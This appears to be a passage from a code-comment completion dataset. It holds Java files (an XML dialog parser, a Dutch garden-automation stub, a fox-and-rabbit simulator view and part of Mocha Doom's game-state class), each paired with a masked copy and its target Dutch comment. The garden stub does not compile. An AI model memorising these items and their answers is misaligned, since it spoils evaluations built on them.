if(nl2 != null && nl2.getLength() > 0) {
questionlistelement = (Element)nl2.item(0);
getQuestionList(questionlistelement,d);
}
return d;
}
// create and add AnswersType objects to dialog d
private void getAnswerList(Element el, Dialog d){
NodeList nl = el.getElementsByTagName("answer");
if(nl != null && nl.getLength() > 0) {
for(int i = 0 ; i < nl.getLength();i++) {
//get the answer element
Element ela = (Element)nl.item(i);
//get the AnswerType object
AnswerType ans = getAnswerType(ela);
//add it to dialog
d.addAnswer(ans);
}
}
}
private AnswerType getAnswerType(Element ela){
AnswerType ans = new AnswerType();
String anstype = ela.getAttribute("type");
String attname = "type";
String attvalue = anstype;
ans.addAttribute(attname,attvalue);
String text = ela.getFirstChild().getNodeValue();
ans.setText(text);
return ans;
}
// create and add questions string to dialog d
private void getQuestionList(Element el, Dialog d){
//get a nodelist of <question> elements
NodeList nl = el.getElementsByTagName("question");
if(nl != null && nl.getLength() > 0) {
for(int i = 0 ; i < nl.getLength();i++) {
//get the question element
Element elq = (Element)nl.item(i);
//String question = getTextValue(elq,"question");
//String question = getString(elq,"question");
String question = elq.getFirstChild().getNodeValue().toLowerCase();
//add it to dialog
//System.out.println(question);
d.addQuestion(question);
}
}
}
private String getString(Element element, String tagName) {
NodeList list = element.getElementsByTagName(tagName);
if (list != null && list.getLength() > 0) {
NodeList subList = list.item(0).getChildNodes();
if (subList != null && subList.getLength() > 0) {
return subList.item(0).getNodeValue();
}
}
return null;
}
/**
* I take a xml element and the tag name, look for the tag and get
* the text content
* i.e for <employee><name>John</name></employee> xml snippet if
* the Element points to employee node and tagName is name I will return John
* @param ele
* @param tagName
* @return
*/
private String getTextValue(Element ele, String tagName) {
String textVal = null;
NodeList nl = ele.getElementsByTagName(tagName);
if(nl != null && nl.getLength() > 0) {
Element el = (Element)nl.item(0);
textVal = el.getFirstChild().getNodeValue();
}
return textVal;
}
/**
* Calls getTextValue and returns a int value
* @param ele
* @param tagName
* @return
*/
private int getIntValue(Element ele, String tagName) {
//in production application you would catch the exception
return Integer.parseInt(getTextValue(ele,tagName));
}
/**
* Print the DialogStore to console
*/
private void printStore(){
System.out.println("No of Dialogs '" + myDialogs.size() + "'.");
System.out.println(myDialogs.xml());
}
public static void main(String[] args){
String fileName = "vragen.xml";
DomDialogsParser dpe = new DomDialogsParser(fileName);
dpe.printStore();
}
}
| ARIA-VALUSPA/AVP | Agent-Core-Final/DM_Tools/QAM/src/main/java/qamatcher/DomDialogsParser.java | 2,319 | //get the root elememt | line_comment | nl | package qamatcher;
import java.io.IOException;
import java.io.File;
import java.net.URISyntaxException;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
/**
* DomDialogParser is created with an xml file that contains the specification
* of questions and answer pairs.
* The file is stored in the resources/qamatcher direcotory
* which should be on the class path
* The DialogStore can be obtained by the method getDialogStore()
*/
public class DomDialogsParser{
DialogStore myDialogs;
Document dom;
String xmlFileName;
/**
* create a new and load a DialogStore
* @param fn the xml file name
*/
public DomDialogsParser(String fn){
//create a store to hold the Dialog objects
xmlFileName = fn;
myDialogs = new DialogStore();
loadStore();
}
public DomDialogsParser(String fn, String df){
//create a store to hold the Dialog objects
xmlFileName = fn;
myDialogs = new DialogStore(df);
loadStore();
}
/**
* @return the DialogStore
*/
public DialogStore getDialogStore(){
return myDialogs;
}
public void loadStore() {
//parse the xml file and get the dom object
parseXmlFile(xmlFileName);
//get each dialog element and create a Dialog object
// and add this to the DialogStore
parseDocument();
}
private void parseXmlFile(String fileName){
//get the factory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
//Using factory get an instance of document builder
DocumentBuilder db = dbf.newDocumentBuilder();
//parse using builder to get DOM representation of the XML file
dom = db.parse(getXMLFile(fileName));
}catch(ParserConfigurationException pce) {
pce.printStackTrace();
}catch(SAXException se) {
se.printStackTrace();
}catch(IOException ioe) {
ioe.printStackTrace();
}
}
public File getXMLFile(String filename){
// File f =null;
// try{
// java.net.URL fileURL = DomDialogsParser.class.getResource(filename);
// System.out.println("fileURL="+fileURL);
// if (fileURL != null) {
// java.net.URI fileURI = fileURL.toURI();
// f = new File(fileURI);
// } else {
// System.err.println("Couldn't find file: " + filename);
// }
// }catch(URISyntaxException exc){
// System.out.println(exc.getMessage());
// }
// return f;
File f = null;
if(filename != null) {
f = new File(filename);
} else {
System.err.println("Couldn't find file: " + filename);
}
return f;
}
private void parseDocument(){
//get the<SUF>
Element docEle = dom.getDocumentElement();
//get a nodelist of <dialog> elements
NodeList nl = docEle.getElementsByTagName("dialog");
if(nl != null && nl.getLength() > 0) {
for(int i = 0 ; i < nl.getLength();i++) {
//get the dialog element
Element el = (Element)nl.item(i);
//get the Dialog object
Dialog d = getDialog(el);
//add it to list
myDialogs.add(d);
}
}
}
/**
* take an dialog element and read the values in, create
* a Dialog object and return it
* @param el
* @return
*/
private Dialog getDialog(Element el) {
//for each <dialog> element get text or int values of id
String id = el.getAttribute("id");
//Create a new Dialog with the values read from the xml nodes
Dialog d = new Dialog(id);
Element answerlistelement=null;
NodeList nl = el.getElementsByTagName("answerlist");
if(nl != null && nl.getLength() > 0) {
answerlistelement = (Element)nl.item(0);
getAnswerList(answerlistelement,d);
}
Element questionlistelement = null;
NodeList nl2 = el.getElementsByTagName("questionlist");
if(nl2 != null && nl2.getLength() > 0) {
questionlistelement = (Element)nl2.item(0);
getQuestionList(questionlistelement,d);
}
return d;
}
// create and add AnswersType objects to dialog d
private void getAnswerList(Element el, Dialog d){
NodeList nl = el.getElementsByTagName("answer");
if(nl != null && nl.getLength() > 0) {
for(int i = 0 ; i < nl.getLength();i++) {
//get the answer element
Element ela = (Element)nl.item(i);
//get the AnswerType object
AnswerType ans = getAnswerType(ela);
//add it to dialog
d.addAnswer(ans);
}
}
}
private AnswerType getAnswerType(Element ela){
AnswerType ans = new AnswerType();
String anstype = ela.getAttribute("type");
String attname = "type";
String attvalue = anstype;
ans.addAttribute(attname,attvalue);
String text = ela.getFirstChild().getNodeValue();
ans.setText(text);
return ans;
}
// create and add questions string to dialog d
private void getQuestionList(Element el, Dialog d){
//get a nodelist of <question> elements
NodeList nl = el.getElementsByTagName("question");
if(nl != null && nl.getLength() > 0) {
for(int i = 0 ; i < nl.getLength();i++) {
//get the question element
Element elq = (Element)nl.item(i);
//String question = getTextValue(elq,"question");
//String question = getString(elq,"question");
String question = elq.getFirstChild().getNodeValue().toLowerCase();
//add it to dialog
//System.out.println(question);
d.addQuestion(question);
}
}
}
private String getString(Element element, String tagName) {
NodeList list = element.getElementsByTagName(tagName);
if (list != null && list.getLength() > 0) {
NodeList subList = list.item(0).getChildNodes();
if (subList != null && subList.getLength() > 0) {
return subList.item(0).getNodeValue();
}
}
return null;
}
/**
* I take a xml element and the tag name, look for the tag and get
* the text content
* i.e for <employee><name>John</name></employee> xml snippet if
* the Element points to employee node and tagName is name I will return John
* @param ele
* @param tagName
* @return
*/
private String getTextValue(Element ele, String tagName) {
String textVal = null;
NodeList nl = ele.getElementsByTagName(tagName);
if(nl != null && nl.getLength() > 0) {
Element el = (Element)nl.item(0);
textVal = el.getFirstChild().getNodeValue();
}
return textVal;
}
/**
* Calls getTextValue and returns a int value
* @param ele
* @param tagName
* @return
*/
private int getIntValue(Element ele, String tagName) {
//in production application you would catch the exception
return Integer.parseInt(getTextValue(ele,tagName));
}
/**
* Print the DialogStore to console
*/
private void printStore(){
System.out.println("No of Dialogs '" + myDialogs.size() + "'.");
System.out.println(myDialogs.xml());
}
public static void main(String[] args){
String fileName = "vragen.xml";
DomDialogsParser dpe = new DomDialogsParser(fileName);
dpe.printStore();
}
}
|
12436_2 | public class TuinDomotica {
private Boolean daglicht;
private Boolean regen;
private Schakelaar slimmeschakelaar;
private int tijdstip;
tijdstip = 21;
public TuinDomotica() {
super();
slimmeschakelaar = Schakelaar.AUTOMATISCH;
}
public Aansturing() {
// Als de schakelaar op AAN staat zal de verlichting worden aangezet samen met de sproeier
// Als de schakelaar op UIT staat zal de verlichting worden uitgezet samen met de sproeier
// Als de schakelaar op AUTOMATISCH staat zal de verlichting aan gaan tussen 20:00 en 05:00, en de sproeier tussen 20:00 en 05:00 als het niet regent.
}
public Boolean getDaglicht() {
return daglicht;
}
public Boolean getRegen() {
return regen;
}
public void setRegen(Boolean regen) {
this.regen = regen;
}
public Schakelaar getSlimmeschakelaar() {
return slimmeschakelaar;
}
public void setSlimmeschakelaar(schakelaar slimmeschakelaar) {
this.slimmeschakelaar = slimmeschakelaar;
}
public void verlichting() {
//als domotica status op automatisch staat zet dan de verlichting aan tussen 20:00 en 5:00
}
}
| AVANS-SWEN2/tuinieren-wk1-tuinieren-anas-daan | TuinDomotica.java | 416 | // Als de schakelaar op AUTOMATISCH staat zal de verlichting aan gaan tussen 20:00 en 05:00, en de sproeier tussen 20:00 en 05:00 als het niet regent. | line_comment | nl | public class TuinDomotica {
private Boolean daglicht;
private Boolean regen;
private Schakelaar slimmeschakelaar;
private int tijdstip;
tijdstip = 21;
public TuinDomotica() {
super();
slimmeschakelaar = Schakelaar.AUTOMATISCH;
}
public Aansturing() {
// Als de schakelaar op AAN staat zal de verlichting worden aangezet samen met de sproeier
// Als de schakelaar op UIT staat zal de verlichting worden uitgezet samen met de sproeier
// Als de<SUF>
}
public Boolean getDaglicht() {
return daglicht;
}
public Boolean getRegen() {
return regen;
}
public void setRegen(Boolean regen) {
this.regen = regen;
}
public Schakelaar getSlimmeschakelaar() {
return slimmeschakelaar;
}
public void setSlimmeschakelaar(schakelaar slimmeschakelaar) {
this.slimmeschakelaar = slimmeschakelaar;
}
public void verlichting() {
//als domotica status op automatisch staat zet dan de verlichting aan tussen 20:00 en 5:00
}
}
|
25179_6 | import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.util.LinkedHashMap;
import java.util.Map;
import java.awt.event.ActionListener;
/**
* A graphical view of the simulation grid.
* The view displays a colored rectangle for each location
* representing its contents. It uses a default background color.
* Colors for each type of species can be defined using the
* setColor method.
*
* @author Adriaan van Elk, Eric Gunnink & Jelmer Postma
* @version 27-1-2015
*/
public class SimulatorView extends JFrame implements ActionListener
{
// Colors used for empty locations.
private static final Color EMPTY_COLOR = Color.white;
// Color used for objects that have no defined color.
private static final Color UNKNOWN_COLOR = Color.gray;
private final String STEP_PREFIX = "Step: ";
private final String POPULATION_PREFIX = "Population: ";
private JLabel stepLabel, population;
private JPanel linkerMenu;
private FieldView fieldView;
public JButton oneStepButton = new JButton("1 stap");
public JButton oneHundredStepButton = new JButton("100 stappen");
// A map for storing colors for participants in the simulation
private Map<Class, Color> colors;
// A statistics object computing and storing simulation information
private FieldStats stats;
private Simulator theSimulator;
/**
* Create a view of the given width and height.
* @param height The simulation's height.
* @param width The simulation's width.
*/
public SimulatorView(int height, int width, Simulator simulator)
{
stats = new FieldStats();
colors = new LinkedHashMap<Class, Color>();
setTitle("Fox and Rabbit Simulation");
stepLabel = new JLabel(STEP_PREFIX, JLabel.CENTER);
population = new JLabel(POPULATION_PREFIX, JLabel.CENTER);
linkerMenu = new JPanel(new GridLayout(2,1));
theSimulator = simulator;
setLocation(100, 50);
fieldView = new FieldView(height, width);
Container contents = getContentPane();
contents.add(stepLabel, BorderLayout.NORTH);
contents.add(fieldView, BorderLayout.CENTER);
contents.add(population, BorderLayout.SOUTH);
contents.add(linkerMenu, BorderLayout.WEST);
addButton();
pack();
setVisible(true);
}
private void addButton()
{
linkerMenu.add(oneStepButton);
linkerMenu.add(oneHundredStepButton);
oneStepButton.addActionListener(this);
oneHundredStepButton.addActionListener(this);
}
/**
* Methode om een actie uit te voeren wanneer er op een knop wordt geklikt
*/
public void actionPerformed(ActionEvent event)
{
String command = event.getActionCommand();
if(command.equals("1 stap"))
{
theSimulator.simulateOneStep();
}
if(command.equals("100 stappen"))
{
theSimulator.simulate(100);
}
}
/**
* Define a color to be used for a given class of animal.
* @param animalClass The animal's Class object.
* @param color The color to be used for the given class.
*/
public void setColor(Class animalClass, Color color)
{
colors.put(animalClass, color);
}
/**
* @return The color to be used for a given class of animal.
*/
private Color getColor(Class animalClass)
{
Color col = colors.get(animalClass);
if(col == null) {
// no color defined for this class
return UNKNOWN_COLOR;
}
else {
return col;
}
}
/**
* Show the current status of the field.
* @param step Which iteration step it is.
* @param field The field whose status is to be displayed.
*/
public void showStatus(int step, Field field)
{
if(!isVisible()) {
setVisible(true);
}
stepLabel.setText(STEP_PREFIX + step);
stats.reset();
fieldView.preparePaint();
for(int row = 0; row < field.getDepth(); row++) {
for(int col = 0; col < field.getWidth(); col++) {
Object animal = field.getObjectAt(row, col);
if(animal != null) {
stats.incrementCount(animal.getClass());
fieldView.drawMark(col, row, getColor(animal.getClass()));
}
else {
fieldView.drawMark(col, row, EMPTY_COLOR);
}
}
}
stats.countFinished();
population.setText(POPULATION_PREFIX + stats.getPopulationDetails(field));
fieldView.repaint();
}
/**
* Determine whether the simulation should continue to run.
* @return true If there is more than one species alive.
*/
public boolean isViable(Field field)
{
return stats.isViable(field);
}
/**
* Provide a graphical view of a rectangular field. This is
* a nested class (a class defined inside a class) which
* defines a custom component for the user interface. This
* component displays the field.
* This is rather advanced GUI stuff - you can ignore this
* for your project if you like.
*/
private class FieldView extends JPanel
{
private final int GRID_VIEW_SCALING_FACTOR = 6;
private int gridWidth, gridHeight;
private int xScale, yScale;
Dimension size;
private Graphics g;
private Image fieldImage;
/**
* Create a new FieldView component.
*/
public FieldView(int height, int width)
{
gridHeight = height;
gridWidth = width;
size = new Dimension(0, 0);
}
/**
* Tell the GUI manager how big we would like to be.
*/
public Dimension getPreferredSize()
{
return new Dimension(gridWidth * GRID_VIEW_SCALING_FACTOR,
gridHeight * GRID_VIEW_SCALING_FACTOR);
}
/**
* Prepare for a new round of painting. Since the component
* may be resized, compute the scaling factor again.
*/
public void preparePaint()
{
if(! size.equals(getSize())) { // if the size has changed...
size = getSize();
fieldImage = fieldView.createImage(size.width, size.height);
g = fieldImage.getGraphics();
xScale = size.width / gridWidth;
if(xScale < 1) {
xScale = GRID_VIEW_SCALING_FACTOR;
}
yScale = size.height / gridHeight;
if(yScale < 1) {
yScale = GRID_VIEW_SCALING_FACTOR;
}
}
}
/**
* Paint on grid location on this field in a given color.
*/
public void drawMark(int x, int y, Color color)
{
g.setColor(color);
g.fillRect(x * xScale, y * yScale, xScale-1, yScale-1);
}
/**
* The field view component needs to be redisplayed. Copy the
* internal image to screen.
*/
public void paintComponent(Graphics g)
{
if(fieldImage != null) {
Dimension currentSize = getSize();
if(size.equals(currentSize)) {
g.drawImage(fieldImage, 0, 0, null);
}
else {
// Rescale the previous image.
g.drawImage(fieldImage, 0, 0, currentSize.width, currentSize.height, null);
}
}
}
}
}
| AVEHD/fox_bunny | SimulatorView.java | 2,166 | /**
* Methode om een actie uit te voeren wanneer er op een knop wordt geklikt
*/ | block_comment | nl | import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.util.LinkedHashMap;
import java.util.Map;
import java.awt.event.ActionListener;
/**
* A graphical view of the simulation grid.
* The view displays a colored rectangle for each location
* representing its contents. It uses a default background color.
* Colors for each type of species can be defined using the
* setColor method.
*
* @author Adriaan van Elk, Eric Gunnink & Jelmer Postma
* @version 27-1-2015
*/
public class SimulatorView extends JFrame implements ActionListener
{
// Colors used for empty locations.
private static final Color EMPTY_COLOR = Color.white;
// Color used for objects that have no defined color.
private static final Color UNKNOWN_COLOR = Color.gray;
private final String STEP_PREFIX = "Step: ";
private final String POPULATION_PREFIX = "Population: ";
private JLabel stepLabel, population;
private JPanel linkerMenu;
private FieldView fieldView;
public JButton oneStepButton = new JButton("1 stap");
public JButton oneHundredStepButton = new JButton("100 stappen");
// A map for storing colors for participants in the simulation
private Map<Class, Color> colors;
// A statistics object computing and storing simulation information
private FieldStats stats;
private Simulator theSimulator;
/**
* Create a view of the given width and height.
* @param height The simulation's height.
* @param width The simulation's width.
*/
public SimulatorView(int height, int width, Simulator simulator)
{
stats = new FieldStats();
colors = new LinkedHashMap<Class, Color>();
setTitle("Fox and Rabbit Simulation");
stepLabel = new JLabel(STEP_PREFIX, JLabel.CENTER);
population = new JLabel(POPULATION_PREFIX, JLabel.CENTER);
linkerMenu = new JPanel(new GridLayout(2,1));
theSimulator = simulator;
setLocation(100, 50);
fieldView = new FieldView(height, width);
Container contents = getContentPane();
contents.add(stepLabel, BorderLayout.NORTH);
contents.add(fieldView, BorderLayout.CENTER);
contents.add(population, BorderLayout.SOUTH);
contents.add(linkerMenu, BorderLayout.WEST);
addButton();
pack();
setVisible(true);
}
private void addButton()
{
linkerMenu.add(oneStepButton);
linkerMenu.add(oneHundredStepButton);
oneStepButton.addActionListener(this);
oneHundredStepButton.addActionListener(this);
}
/**
* Methode om een<SUF>*/
public void actionPerformed(ActionEvent event)
{
String command = event.getActionCommand();
if(command.equals("1 stap"))
{
theSimulator.simulateOneStep();
}
if(command.equals("100 stappen"))
{
theSimulator.simulate(100);
}
}
/**
* Define a color to be used for a given class of animal.
* @param animalClass The animal's Class object.
* @param color The color to be used for the given class.
*/
public void setColor(Class animalClass, Color color)
{
colors.put(animalClass, color);
}
/**
* @return The color to be used for a given class of animal.
*/
private Color getColor(Class animalClass)
{
Color col = colors.get(animalClass);
if(col == null) {
// no color defined for this class
return UNKNOWN_COLOR;
}
else {
return col;
}
}
/**
* Show the current status of the field.
* @param step Which iteration step it is.
* @param field The field whose status is to be displayed.
*/
public void showStatus(int step, Field field)
{
if(!isVisible()) {
setVisible(true);
}
stepLabel.setText(STEP_PREFIX + step);
stats.reset();
fieldView.preparePaint();
for(int row = 0; row < field.getDepth(); row++) {
for(int col = 0; col < field.getWidth(); col++) {
Object animal = field.getObjectAt(row, col);
if(animal != null) {
stats.incrementCount(animal.getClass());
fieldView.drawMark(col, row, getColor(animal.getClass()));
}
else {
fieldView.drawMark(col, row, EMPTY_COLOR);
}
}
}
stats.countFinished();
population.setText(POPULATION_PREFIX + stats.getPopulationDetails(field));
fieldView.repaint();
}
/**
* Determine whether the simulation should continue to run.
* @return true If there is more than one species alive.
*/
public boolean isViable(Field field)
{
return stats.isViable(field);
}
/**
* Provide a graphical view of a rectangular field. This is
* a nested class (a class defined inside a class) which
* defines a custom component for the user interface. This
* component displays the field.
* This is rather advanced GUI stuff - you can ignore this
* for your project if you like.
*/
private class FieldView extends JPanel
{
private final int GRID_VIEW_SCALING_FACTOR = 6;
private int gridWidth, gridHeight;
private int xScale, yScale;
Dimension size;
private Graphics g;
private Image fieldImage;
/**
* Create a new FieldView component.
*/
public FieldView(int height, int width)
{
gridHeight = height;
gridWidth = width;
size = new Dimension(0, 0);
}
/**
* Tell the GUI manager how big we would like to be.
*/
public Dimension getPreferredSize()
{
return new Dimension(gridWidth * GRID_VIEW_SCALING_FACTOR,
gridHeight * GRID_VIEW_SCALING_FACTOR);
}
/**
* Prepare for a new round of painting. Since the component
* may be resized, compute the scaling factor again.
*/
public void preparePaint()
{
if(! size.equals(getSize())) { // if the size has changed...
size = getSize();
fieldImage = fieldView.createImage(size.width, size.height);
g = fieldImage.getGraphics();
xScale = size.width / gridWidth;
if(xScale < 1) {
xScale = GRID_VIEW_SCALING_FACTOR;
}
yScale = size.height / gridHeight;
if(yScale < 1) {
yScale = GRID_VIEW_SCALING_FACTOR;
}
}
}
/**
* Paint on grid location on this field in a given color.
*/
public void drawMark(int x, int y, Color color)
{
g.setColor(color);
g.fillRect(x * xScale, y * yScale, xScale-1, yScale-1);
}
/**
* The field view component needs to be redisplayed. Copy the
* internal image to screen.
*/
public void paintComponent(Graphics g)
{
if(fieldImage != null) {
Dimension currentSize = getSize();
if(size.equals(currentSize)) {
g.drawImage(fieldImage, 0, 0, null);
}
else {
// Rescale the previous image.
g.drawImage(fieldImage, 0, 0, currentSize.width, currentSize.height, null);
}
}
}
}
}
|
160626_25 | package doom;
import static data.Defines.*;
import static data.Limits.*;
import data.mapthing_t;
import defines.*;
import demo.IDoomDemo;
import f.Finale;
import static g.Signals.ScanCode.*;
import java.io.OutputStreamWriter;
import java.util.Arrays;
import java.util.stream.Stream;
import m.Settings;
import mochadoom.Engine;
import p.mobj_t;
/**
* We need globally shared data structures, for defining the global state
* variables. MAES: in pure OO style, this should be a global "Doom state"
* object to be passed along various modules. No ugly globals here!!! Now, some
* of the variables that appear here were actually defined in separate modules.
* Pretty much, whatever needs to be shared with other modules was placed here,
* either as a local definition, or as an extern share. The very least, I'll
* document where everything is supposed to come from/reside.
*/
public abstract class DoomStatus<T,V> {
public static final int BGCOLOR= 7;
public static final int FGCOLOR =8;
public static int RESENDCOUNT =10;
public static int PL_DRONE =0x80; // bit flag in doomdata->player
public String[] wadfiles=new String[MAXWADFILES];
boolean drone;
/** Command line parametersm, actually defined in d_main.c */
public boolean nomonsters; // checkparm of -nomonsters
public boolean respawnparm; // checkparm of -respawn
public boolean fastparm; // checkparm of -fast
public boolean devparm; // DEBUG: launched with -devparm
// MAES: declared as "extern", shared with Menu.java
public boolean inhelpscreens;
boolean advancedemo;
/////////// Local to doomstat.c ////////////
// TODO: hide those behind getters
/** Game Mode - identify IWAD as shareware, retail etc.
* This is now hidden behind getters so some cases like plutonia
* etc. can be handled more cleanly.
* */
private GameMode gamemode;
public void setGameMode(GameMode mode){
this.gamemode=mode;
}
public GameMode getGameMode(){
return gamemode;
}
public boolean isShareware(){
return (gamemode== GameMode.shareware);
}
/** Commercial means Doom 2, Plutonia, TNT, and possibly others like XBLA.
*
* @return
*/
public boolean isCommercial(){
return (gamemode== GameMode.commercial ||
gamemode== GameMode.pack_plut ||
gamemode== GameMode.pack_tnt ||
gamemode== GameMode.pack_xbla ||
gamemode== GameMode.freedoom2 ||
gamemode== GameMode.freedm);
}
/** Retail means Ultimate.
*
* @return
*/
public boolean isRetail(){
return (gamemode== GameMode.retail || gamemode == GameMode.freedoom1 );
}
/** Registered is a subset of Ultimate
*
* @return
*/
public boolean isRegistered(){
return (gamemode== GameMode.registered || gamemode== GameMode.retail || gamemode == GameMode.freedoom1 );
}
public GameMission_t gamemission;
/** Language. */
public Language_t language;
// /////////// Normally found in d_main.c ///////////////
// Selected skill type, map etc.
/** Defaults for menu, methinks. */
public skill_t startskill;
public int startepisode;
public int startmap;
public boolean autostart;
/** Selected by user */
public skill_t gameskill;
public int gameepisode;
public int gamemap;
/** Nightmare mode flag, single player. */
public boolean respawnmonsters;
/** Netgame? Only true if >1 player. */
public boolean netgame;
/**
* Flag: true only if started as net deathmatch. An enum might handle
* altdeath/cooperative better. Use altdeath for the "2" value
*/
public boolean deathmatch;
/** Use this instead of "deathmatch=2" which is bullshit. */
public boolean altdeath;
//////////// STUFF SHARED WITH THE RENDERER ///////////////
// -------------------------
// Status flags for refresh.
//
public boolean nodrawers;
public boolean noblit;
public boolean viewactive;
// Player taking events, and displaying.
public int consoleplayer;
public int displayplayer;
// Depending on view size - no status bar?
// Note that there is no way to disable the
// status bar explicitely.
public boolean statusbaractive;
public boolean automapactive; // In AutoMap mode?
public boolean menuactive; // Menu overlayed?
public boolean mousecaptured = true;
public boolean paused; // Game Pause?
// -------------------------
// Internal parameters for sound rendering.
// These have been taken from the DOS version,
// but are not (yet) supported with Linux
// (e.g. no sound volume adjustment with menu.
// These are not used, but should be (menu).
// From m_menu.c:
// Sound FX volume has default, 0 - 15
// Music volume has default, 0 - 15
// These are multiplied by 8.
/** maximum volume for sound */
public int snd_SfxVolume;
/** maximum volume for music */
public int snd_MusicVolume;
/** Maximum number of sound channels */
public int numChannels;
// Current music/sfx card - index useless
// w/o a reference LUT in a sound module.
// Ideally, this would use indices found
// in: /usr/include/linux/soundcard.h
public int snd_MusicDevice;
public int snd_SfxDevice;
// Config file? Same disclaimer as above.
public int snd_DesiredMusicDevice;
public int snd_DesiredSfxDevice;
// -------------------------------------
// Scores, rating.
// Statistics on a given map, for intermission.
//
public int totalkills;
public int totalitems;
public int totalsecret;
/** TNTHOM "cheat" for flashing HOM-detecting BG */
public boolean flashing_hom;
// Added for prBoom+ code
public int totallive;
// Timer, for scores.
public int levelstarttic; // gametic at level start
public int leveltime; // tics in game play for par
// --------------------------------------
// DEMO playback/recording related stuff.
// No demo, there is a human player in charge?
// Disable save/end game?
public boolean usergame;
// ?
public boolean demoplayback;
public boolean demorecording;
// Quit after playing a demo from cmdline.
public boolean singledemo;
public boolean mapstrobe;
/**
* Set this to GS_DEMOSCREEN upon init, else it will be null
* Good Sign at 2017/03/21: I hope it is no longer true info, since I've checked its assignment by NetBeans
*/
public gamestate_t gamestate = gamestate_t.GS_DEMOSCREEN;
// -----------------------------
// Internal parameters, fixed.
// These are set by the engine, and not changed
// according to user inputs. Partly load from
// WAD, partly set at startup time.
public int gametic;
// Alive? Disconnected?
public boolean[] playeringame = new boolean[MAXPLAYERS];
public mapthing_t[] deathmatchstarts = new mapthing_t[MAX_DM_STARTS];
/** pointer into deathmatchstarts */
public int deathmatch_p;
/** Player spawn spots. */
public mapthing_t[] playerstarts = new mapthing_t[MAXPLAYERS];
/** Intermission stats.
Parameters for world map / intermission. */
public wbstartstruct_t wminfo;
/** LUT of ammunition limits for each kind.
This doubles with BackPack powerup item.
NOTE: this "maxammo" is treated like a global.
*/
public final static int[] maxammo = {200, 50, 300, 50};
// -----------------------------------------
// Internal parameters, used for engine.
//
// File handling stuff.
public OutputStreamWriter debugfile;
// if true, load all graphics at level load
public boolean precache;
// wipegamestate can be set to -1
// to force a wipe on the next draw
// wipegamestate can be set to -1 to force a wipe on the next draw
public gamestate_t wipegamestate = gamestate_t.GS_DEMOSCREEN;
public int mouseSensitivity = 5; // AX: Fix wrong defaut mouseSensitivity
/** Set if homebrew PWAD stuff has been added. */
public boolean modifiedgame = false;
/** debug flag to cancel adaptiveness set to true during timedemos. */
public boolean singletics = false;
/* A "fastdemo" is a demo with a clock that tics as
* fast as possible, yet it maintains adaptiveness and doesn't
* try to render everything at all costs.
*/
protected boolean fastdemo;
protected boolean normaldemo;
protected String loaddemo = null;
public int bodyqueslot;
// Needed to store the number of the dummy sky flat.
// Used for rendering,
// as well as tracking projectiles etc.
//public int skyflatnum;
// TODO: Netgame stuff (buffers and pointers, i.e. indices).
// TODO: This is ???
public doomcom_t doomcom;
// TODO: This points inside doomcom.
public doomdata_t netbuffer;
public ticcmd_t[] localcmds = new ticcmd_t[BACKUPTICS];
public int rndindex;
public ticcmd_t[][] netcmds;// [MAXPLAYERS][BACKUPTICS];
/** MAES: this WAS NOT in the original.
* Remember to call it!
*/
protected final void initNetGameStuff() {
//this.netbuffer = new doomdata_t();
this.doomcom = new doomcom_t();
this.netcmds = new ticcmd_t[MAXPLAYERS][BACKUPTICS];
Arrays.setAll(localcmds, i -> new ticcmd_t());
for (int i = 0; i < MAXPLAYERS; i++) {
Arrays.setAll(netcmds[i], j -> new ticcmd_t());
}
}
// Fields used for selecting variable BPP implementations.
protected abstract Finale<T> selectFinale();
// MAES: Fields specific to DoomGame. A lot of them were
// duplicated/externalized
// in d_game.c and d_game.h, so it makes sense adopting a more unified
// approach.
protected gameaction_t gameaction=gameaction_t.ga_nothing;
public boolean sendpause; // send a pause event next tic
protected boolean sendsave; // send a save event next tic
protected int starttime;
protected boolean timingdemo; // if true, exit with report on completion
public boolean getPaused() {
return paused;
}
public void setPaused(boolean paused) {
this.paused = paused;
}
// ////////// DEMO SPECIFIC STUFF/////////////
protected String demoname;
protected boolean netdemo;
//protected IDemoTicCmd[] demobuffer;
protected IDoomDemo demobuffer;
/** pointers */
// USELESS protected int demo_p;
// USELESS protected int demoend;
protected short[][] consistancy = new short[MAXPLAYERS][BACKUPTICS];
protected byte[] savebuffer;
/* TODO Proper reconfigurable controls. Defaults hardcoded for now. T3h h4x, d00d. */
public int key_right = SC_NUMKEY6.ordinal();
public int key_left = SC_NUMKEY4.ordinal();
public int key_up = SC_W.ordinal();
public int key_down = SC_S.ordinal();
public int key_strafeleft = SC_A.ordinal();
public int key_straferight = SC_D.ordinal();
public int key_fire = SC_LCTRL.ordinal();
public int key_use = SC_SPACE.ordinal();
public int key_strafe = SC_LALT.ordinal();
public int key_speed = SC_RSHIFT.ordinal();
public boolean vanillaKeyBehavior;
public int key_recordstop = SC_Q.ordinal();
public int[] key_numbers = Stream.of(SC_1, SC_2, SC_3, SC_4, SC_5, SC_6, SC_7, SC_8, SC_9, SC_0)
.mapToInt(Enum::ordinal).toArray();
// Heretic stuff
public int key_lookup = SC_PGUP.ordinal();
public int key_lookdown = SC_PGDOWN.ordinal();
public int key_lookcenter = SC_END.ordinal();
public int mousebfire = 0;
public int mousebstrafe = 2; // AX: Fixed - Now we use the right mouse buttons
public int mousebforward = 1; // AX: Fixed - Now we use the right mouse buttons
public int joybfire;
public int joybstrafe;
public int joybuse;
public int joybspeed;
/** Cancel vertical mouse movement by default */
protected boolean novert=false; // AX: The good default
protected int MAXPLMOVE() {
return forwardmove[1];
}
protected static final int TURBOTHRESHOLD = 0x32;
/** fixed_t */
protected final int[] forwardmove = { 0x19, 0x32 }; // + slow turn
protected final int[] sidemove = { 0x18, 0x28 };
protected final int[] angleturn = { 640, 1280, 320 };
protected static final int SLOWTURNTICS = 6;
protected static final int NUMKEYS = 256;
protected boolean[] gamekeydown = new boolean[NUMKEYS];
protected boolean keysCleared;
public boolean alwaysrun;
protected int turnheld; // for accelerative turning
protected int lookheld; // for accelerative looking?
protected boolean[] mousearray = new boolean[4];
/** This is an alias for mousearray [1+i] */
protected boolean mousebuttons(int i) {
return mousearray[1 + i]; // allow [-1]
}
protected void mousebuttons(int i, boolean value) {
